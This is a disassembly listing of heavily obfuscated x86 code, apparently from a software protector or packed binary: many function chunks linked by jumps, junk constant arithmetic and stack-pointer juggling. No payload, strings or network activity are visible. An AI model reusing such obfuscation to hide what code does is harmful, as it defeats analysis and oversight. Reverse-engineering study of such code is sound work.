		jmp	loc_59B402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59EB9E:				; CODE XREF: sub_5A477C-5114j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-8+arg_4]
		pop	esp
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		push	edx
		push	[esp-0Ch+arg_C]
		pop	edx
		pop	[esp-0Ch+arg_8]
		pop	esp
		jmp	loc_5A1EB5
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59EBC3:				; CODE XREF: sub_5A580F-62AEj
					; sub_5A6BBC:loc_5AA46Aj
		mov	ebp, ebx
		jmp	loc_5ADE3F
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_59EBCA:				; CODE XREF: sub_59A9E9+6j
		and	ebp, 78AC6725h
		jmp	loc_5A2F62
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59EBD5:				; CODE XREF: sub_5992DA+5FB9j
		sub	bh, ah
		jmp	loc_5AF08C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59EBDC:				; CODE XREF: sub_59CBE1+872Bj
		add	eax, ebp
		add	eax, 55C02C53h
		sub	eax, 5CF803E6h
		sub	eax, 34A157E2h
		mov	ebp, [esp-6+arg_0+2]
		jmp	loc_59D73E
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59EBF5:				; CODE XREF: sub_5AA2D1-FC72j
		ja	loc_59C77B
		add	edx, 0E76B7FD6h
		dec	edx
		jmp	loc_59FBD4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59EC07:				; CODE XREF: sdfs____:005ABE08j
		xor	ah, 36h
		mov	bh, ah
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5A8797
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59EC18:				; CODE XREF: sub_5AA2D1-8E68j
					; sub_5992DA+CBD4j
		xchg	ebx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		mov	ax, word ptr [esp-0Ch+arg_8]
		push	1DF5h
		mov	[esp-8+arg_4], esi
		sub	esp, 4
		jmp	sub_5A317A
; ---------------------------------------------------------------------------


loc_59EC35:				; CODE XREF: sub_5AA2D1-BCDFj
		xor	[esp-4+arg_0], edi
		xor	edi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		cmp	cx, ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5B27


loc_59EC47:				; CODE XREF: sub_5A5B27+5943j
		dec	eax
		jnz	loc_5A83F5
		xor	eax, 1E7296h
		ja	loc_5AE691
; END OF FUNCTION CHUNK	FOR sub_5A5B27
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59EC59:				; CODE XREF: sub_5AA2D1-7D7Bj
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 4AC25EBFh
		push	0
		jmp	loc_5A847D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59EC70:				; CODE XREF: sub_59CBE1+CB67j
		mov	ebp, [esp-6+arg_0+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6+arg_0+2], ebp
		push	edi
		mov	edi, 1F5A50D1h
		mov	ebp, edi
		pop	edi
		xor	ebp, 38C81655h
		sub	esp, 4
		mov	[esp+0], esi
		push	0C36h
		mov	[esp+2+var_4+2], ebx
		mov	ebx, 6B93008Ch
		sub	esp, 4
		mov	[esp+6+var_8+2], eax
		mov	eax, 24117706h
		xor	eax, 304B566Ch
		js	loc_5A8C77
		jmp	loc_5ACFF9
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A68A5


loc_59ECC2:				; CODE XREF: sub_5A68A5+47CAj
		add	[esp+0], eax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A68A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59ECCB:				; CODE XREF: sub_5AA2D1-44C8j
		push	edi
		mov	edi, 0
		sub	edi, ecx
		mov	ecx, edi
		pop	edi
		sub	ecx, 6935F98Fh
		push	esi
		jmp	loc_5A8B2C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59ECE2:				; CODE XREF: sub_5A580F-AAE9j
		mov	[esp+4+var_4], ecx
		mov	ecx, 52F26B93h
		jmp	loc_59CF5F
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_59ECEF:				; CODE XREF: sub_5A7BA0-1287j
		add	ebp, esi
		pop	esi
		add	ebp, eax
		jmp	loc_5A08C8
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59ECF9:				; CODE XREF: sub_5AA2D1-5EC1j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]


loc_59ED0B:				; CODE XREF: sub_5A7BA0+71EDj
		push	298Fh
		mov	[esp+0Ch+var_C], edx
		jmp	sub_5A28E3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_59ED18:				; CODE XREF: sub_5AB3DB-1B54j
		mov	eax, [esp+0]
		jmp	loc_5A3A04
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59ED20:				; CODE XREF: sub_5AA2D1-500Aj
		shr	ebx, 6
		jmp	loc_5A0827
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_59ED28:				; CODE XREF: sub_5B03B3-202Ej
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A1C76
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59ED35:				; CODE XREF: sub_5AD795+D44j
		mov	[esp+8+var_8], edi
		push	[esp+8+var_4]
		pop	edi
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		push	74C6h
		mov	[esp-4+arg_0], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 1D462B54h
		xor	eax, 37520E2Eh
		sub	eax, 2A142576h
		add	edx, eax
		jmp	loc_59CA9C
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------


loc_59ED6A:				; CODE XREF: sdfs____:005AC4BFj
		add	al, dh
		jmp	loc_5A44C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59ED71:				; CODE XREF: sub_59A26C+FBD7j
		neg	edx
		jmp	loc_5A5219
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_59ED78:				; CODE XREF: sub_5AA810+1663j
		mov	ebx, 107636E0h
		sub	ebx, edi
		pop	edi
		xor	ecx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		push	421Ch
		mov	[esp+0], ecx
		jmp	loc_5AC3B5
; END OF FUNCTION CHUNK	FOR sub_5AA810

; =============== S U B	R O U T	I N E =======================================



sub_59ED98	proc near		; CODE XREF: sub_5AA2D1+348j

var_6		= dword	ptr -6
var_2		= word ptr -2
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059AC74 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B6CC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059E158 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059E74F SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A146E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1EDA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A6026 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A9015 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB648 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AD345 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AD3F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ADC28 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 005AEC4E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005B02AD SIZE 0000000B BYTES

		push	ebx
		mov	bl, dh
		mov	cl, bl
		pop	ebx
		jmp	loc_5B02AD
sub_59ED98	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C2B8


loc_59EDA3:				; CODE XREF: sub_59C2B8-9A2j
		mov	edx, ebx
		pop	ebx
		jmp	loc_5A01C9
; END OF FUNCTION CHUNK	FOR sub_59C2B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59EDAB:				; CODE XREF: sub_5AA2D1+10Ej
		add	esp, 2
		add	bl, 0EDh
		add	al, bl
		pop	ebx
		push	6C77h
		jmp	loc_59D7CF
; ---------------------------------------------------------------------------


loc_59EDBE:				; CODE XREF: sub_5A118F+C95j
					; sub_5AA2D1+5E47j
		xor	edi, 66385143h
		push	edi
		add	[esp+0Ch+var_C], 22275CEEh
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		sub	ebp, 22275CEEh
		jmp	loc_5A738E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59EDE0:				; CODE XREF: sdfs____:005AC45Cj
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_5A3B1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_59EDEA:				; CODE XREF: sub_59E94B-23E4j
		and	ebp, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		not	ebp
		xor	ebp, 0CC29F16Bh
		add	edi, 79591F39h
		add	edi, ebp
		jmp	loc_5B0152
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59EE07:				; CODE XREF: sub_59D6B8-CA6j
		mov	edx, [esp+4+var_4]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		push	edi
		push	[esp+arg_0]
		jmp	loc_5A290D
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59EE1A:				; CODE XREF: sub_5992DA+E19Cj
		pop	esi
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_5A42F4
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5330


loc_59EE24:				; CODE XREF: sub_5A5330+4j
		push	ecx
		push	52CEh
		jmp	loc_5A3E1B
; END OF FUNCTION CHUNK	FOR sub_5A5330
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5997A8


loc_59EE2F:				; CODE XREF: sub_5997A8+4j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5997A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5648


loc_59EE34:				; CODE XREF: sub_5A5648+7j
		push	1D4A165Eh
		jmp	loc_5A761D
; END OF FUNCTION CHUNK	FOR sub_5A5648

; =============== S U B	R O U T	I N E =======================================



sub_59EE3E	proc near		; CODE XREF: sub_5A54BA-9D1Dj
					; sub_5A5EFF-87C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00599672 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599798 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00599854 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00599999 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00599CB9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00599E42 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059A33B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059A6B6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059A711 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059AAFF SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059B707 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B9B2 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059BDD8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059BE5E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C9EC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059DAA0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059DC61 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059DD01 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059E918 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059F216 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A0499 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A04DB SIZE 00000043 BYTES
; FUNCTION CHUNK AT 005A06E4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A09AD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A0EE4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A1012 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A1298 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A16E6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A170E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A23A6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A28BD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A29C5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2B98 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A2CFF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3BB4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3F26 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A45AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A47CF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A4C75 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A5243 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A59E9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A6297 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A6500 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A6AD1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A6BFB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A701B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A7044 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A7149 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A7701 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A78B3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A7BFB SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A7EB2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8373 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A85A9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A85EF SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A8766 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8D0C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9823 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A99F6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AA0C2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA6C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AAE43 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AAE97 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AB442 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB8F8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005ABAA8 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005ABBD6 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005ABCFF SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005ACCC8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD441 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD6B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005ADA50 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AE49E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AEE8D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AEF93 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005AFAEB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AFBAB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005B035B SIZE 0000001C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	edi
		push	4EE41CE4h
		pop	edi
		not	edi
		sub	edi, 0B11BE31Bh
		mov	ebx, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		push	ebx
		add	[esp+8+var_8], 3A570587h
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		sub	ecx, 3A570587h
		pop	ebx
		sub	ecx, ebx
		push	ecx
		pop	ebx
		pop	ecx
		shl	ebx, 4
		push	ecx
		push	edi
		jmp	loc_5A170E
sub_59EE3E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59EE82:				; CODE XREF: sub_59C979+3CCj
		push	[esp-6+arg_2]
		pop	ebx
		jmp	loc_5A303E
; ---------------------------------------------------------------------------


loc_59EE8B:				; CODE XREF: sub_59C979+E704j
		add	ecx, 3E4638F3h
		sub	ecx, edi
		jmp	loc_5A34BD
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A996F


loc_59EE98:				; CODE XREF: sub_5A996F+Ej
		push	edx
		jmp	loc_59B2F2
; END OF FUNCTION CHUNK	FOR sub_5A996F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_59EE9E:				; CODE XREF: sub_5A3992+58F4j
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 1C2B202Fh
		mov	edx, ecx
		pop	ecx
		shr	edx, 2
		shr	edx, 3
		xor	edx, 45FA0013h
		sub	ebx, edx
		jmp	loc_59D5B7
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_59EEBC:				; CODE XREF: sub_5A118F+D726j
		pop	edx
		push	ebx
		jmp	loc_5A425F
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59EEC3:				; CODE XREF: sub_5A477C+B890j
		shl	ecx, 5
		dec	ecx
		sub	ecx, 0D549365Eh
		add	eax, ecx
		pop	ecx
		sub	eax, esi
		sub	eax, 61180B61h
		mov	esi, [esp-18h+arg_14]
		add	esp, 4
		push	[esp-1Ch+arg_18]
		push	[esp-18h+arg_14]
		pop	ebp
		add	esp, 4
		add	esp, 4
		sub	ebx, 467D0C83h
		sub	ebx, 0F7A270Fh
		push	7EA7h
		mov	[esp-1Ch+arg_18], edi
		mov	edi, 3872411Fh
		jmp	loc_59D94B
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59EF08:				; CODE XREF: sub_5AA2D1-A953j
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		jmp	loc_5AC20C
; ---------------------------------------------------------------------------


loc_59EF13:				; CODE XREF: sub_5AA2D1-658Cj
		sub	eax, 466B5A50h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+4+var_4]
		jmp	loc_5A76B9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59EF23:				; CODE XREF: sub_5B01F7-D344j
		add	ecx, edx
		pop	edx
		jmp	loc_59BCDF
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_59EF2B:				; CODE XREF: sub_5A8215+26D1j
		xor	edx, [esp+8+var_8]
		xor	[esp+8+var_8], edx
		xor	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	35D0h
		mov	[esp+0], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A7A80
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8E92


loc_59EF4C:				; CODE XREF: sub_5A8E92+6ABCj
		mov	esp, [esp+4+var_4]
		sub	al, 1Ah
		add	al, cl
		add	al, 1Ah
		pop	cx
		push	small 6B5Eh
		mov	word ptr [esp+4+var_4],	dx
		sub	esp, 2
		mov	word ptr [esp+8+var_8],	bx
		push	edx
		mov	dh, 8Ah
		mov	bl, dh
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebp
		xor	ebp, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], eax
		mov	al, bl
		push	ebx
		push	edx
		jmp	loc_5A7D75
; END OF FUNCTION CHUNK	FOR sub_5A8E92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59EF96:				; CODE XREF: sub_5AA2D1-1AADj
		jnz	loc_5AB0D5
		jmp	loc_5AC4D9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		pop	ebx
		jmp	loc_5A6DA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59EFA7:				; CODE XREF: sub_5AA2D1-D217j
		pop	esp
		jmp	loc_5A6519
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59EFAD:				; CODE XREF: sub_59C979+D854j
		push	6962h
		mov	[esp+0], eax
		jmp	loc_5AE8EB
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------


loc_59EFBA:				; CODE XREF: sdfs____:005AA8AFj
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [eax]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59EFC7:				; CODE XREF: sdfs____:005A289Fj
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_59EFCC:				; CODE XREF: sub_5A503A:loc_5A95DFj
		shl	ebx, 6
		shl	ebx, 7
		add	ebx, 0E619BDFh
		jmp	loc_59C7F0
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------


loc_59EFDD:				; DATA XREF: sdfs____:00598E40o
		mov	ax, [esp]
		push	ebx
		jmp	loc_59A644
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_59EFE7:				; CODE XREF: sub_59D37E+12087j
		pop	ecx
		sub	al, dh
		jmp	loc_5A233C
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_59EFEF:				; CODE XREF: sub_5A9D64-C9Aj
		or	ebx, 52037C90h
		jmp	loc_5AA8CB
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59EFFA:				; CODE XREF: sub_5A477C+2A6j
		xchg	eax, ebx
		pop	ebx
		jmp	loc_5ABA87
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_59F001:				; CODE XREF: sub_59A479-2FBj
		push	dword ptr [ecx]
		add	[esp+4+var_4], 77C95B78h
		push	[esp+4+var_4]
		pop	eax
		add	esp, 4
		sub	eax, 77C95B78h
		push	dword ptr [esp+0]
		jmp	loc_5A5884
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_59F01E:				; CODE XREF: sub_5A9EC5-8F9Aj
		sub	bl, 0DFh
		push	300Ch
		mov	[esp+4+var_4], ebp
		push	esp
		jmp	loc_5A6DDA
; END OF FUNCTION CHUNK	FOR sub_5A9EC5

; =============== S U B	R O U T	I N E =======================================



sub_59F02F	proc near		; CODE XREF: sub_5A9D64-FC7Ej

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059ABDB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059B939 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059BF12 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059C365 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059D2DE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059D397 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059D93B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059DD95 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059EB52 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0059F9B5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FF7E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0E46 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2A4B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2BF7 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A2D3F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A340E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A44D3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6174 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A85A0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A8F30 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A93B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9711 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AA547 SIZE 0000005C BYTES
; FUNCTION CHUNK AT 005AAF67 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AB56F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC6EF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AE7F1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AEB32 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005AF9D9 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	6786h
		mov	[esp+8+var_8], ebp
		jmp	loc_59EB52
sub_59F02F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59F045:				; CODE XREF: sub_5A2E28-3D8Aj
		push	edx
		mov	edx, 2
		sub	esi, 32743F76h
		add	esi, edx
		jmp	loc_59FAA7
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F058:				; CODE XREF: sub_5AA2D1-103DFj
		xor	edx, 3BBC06C4h
		sub	edx, 0E7113620h
		add	esi, edx
		pop	edx
		jmp	loc_59DC01
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59F06C:				; CODE XREF: sub_5992DA+57B5j
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5AEC90
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_59F074	proc near		; CODE XREF: sub_5A687B+37DDj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00599957 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A9BC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059BE53 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C929 SIZE 00000009 BYTES
